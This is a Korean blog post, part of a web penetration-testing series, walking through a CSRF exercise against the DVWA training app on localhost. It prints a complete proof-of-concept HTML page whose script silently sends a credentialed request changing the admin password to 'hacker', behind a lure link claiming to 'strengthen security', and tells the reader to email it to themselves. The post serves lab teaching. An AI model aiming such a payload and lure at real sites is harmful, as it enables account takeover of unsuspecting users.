[웹 모의해킹-3] CSRF 실습
두비니
·2021. 5. 28. 18:29
Cross-Site Request Forgery
0. CSRF공격이란?
특정 사이트가 사용자의 브라우저를 신뢰한다는 점을 공격하는 것입니다.
이미 로그인이 되어있는 관리자가 메일을 열어본 뒤, 해커가 의도한 다른 사이트로 접속하게끔 하여 id/비밀번호를 갈아채는게 목적입니다.
개념도 중요하지만 더 중요한 건 사용자가 로그인되어있는 상태여야한다라는 조건입니다.
본 글은 공격 자체에 대한 설명을 위한 게 아니니, 더 자세히 알아보고 싶으신 분들은 구글링해보시면 좋을 것 같습니다 :)
1. 실습 : Low
우선 security level을 low로 두고, 실습을 해봅시다.아무런 값이나 넣고, 이걸 burpsuite의 http history를 확인해봅시다.
저같은 경우에는 이렇게 입력한 값이 normal/normal로 입력되었는데, 만약 redirection이 공격자가 볼 수 있는 사이트로 redirection이 되었다면, 실제 비밀번호가 조회되었겠죠?
아무튼 실제 실습을 해봅시다.
https://github.com/secuacademy/webhacking
다음 사이트에서 csrf.html파일을 다운로드합니다.
wget https://raw.githubusercontent.com/SecuAcademy/webhacking/master/csrf.html
cp csrf.html /opt/lampp/htdocs
<!--
PoC: CSRF
Author: Bonghwan Choi
-->
<html>
<meta charset="UTF-8">
<head>
</head>
<script language="javascript">
function poc() {
var host='localhost';
var req_uri = "http://" + host + "/dvwa/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change";
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET",req_uri,true);
xmlhttp.withCredentials = "true";
xmlhttp.send();
alert('Done!!');
}
</script>
<body>
(CSRF 공격 예제)<br />
이 링크를 누르시면 보안이 강화됩니다!!<br />
<a href="javascript:poc()">Click!</a><br />
</body>
</html>
해당 코드는 csrf 실습코드의 전문입니다.
링크를 누를 경우, poc함수가 실행되면서, 비밀번호를 바꾸는 쿼리를 보내버립니다.
이걸 제 메일로 보내겠습니다.
당연히 알고 계시겠지만, 실습용이라도 타인에게 이런 메일을 보내는 것을 불법입니다. 꼭 자기자신 혹은 합의가 된 상대에게만 보내시길 바랍니다.
저 링크에는 http://127.0.0.1/csrf.html을 넣어놓았습니다.
아무튼 그 링크를 실행시켜보면,
다음과 같이 Done이라는 메세지와 함께, 다시 dvwa 로그인 페이지로 넘어갈 경우, 비밀번호가 hacker로 바뀌어있는 것을 확인할 수 있습니다.
직접 burpsuite에서 확인해보면, cookie가 동일한 것을 볼 수 있습니다.
이 취약점을 이용하여 비밀번호를 바꾼 것을 볼 수 있습니다.
'WEB' 카테고리의 다른 글
[Cloud] AWS IAM에 대하여 (3) | 2021.08.02 |
---|---|
[SQLite fts3] fts3_tokenizer 취약점 (5) | 2021.07.27 |
[웹 모의해킹-2] Command Injection 실습 : High, Impossible (0) | 2021.05.28 |
[웹 모의해킹-2] Command Injection 실습 : Medium (0) | 2021.05.27 |
[웹 모의해킹-1] 자동 bruteforce공격 해보기 (0) | 2021.05.26 |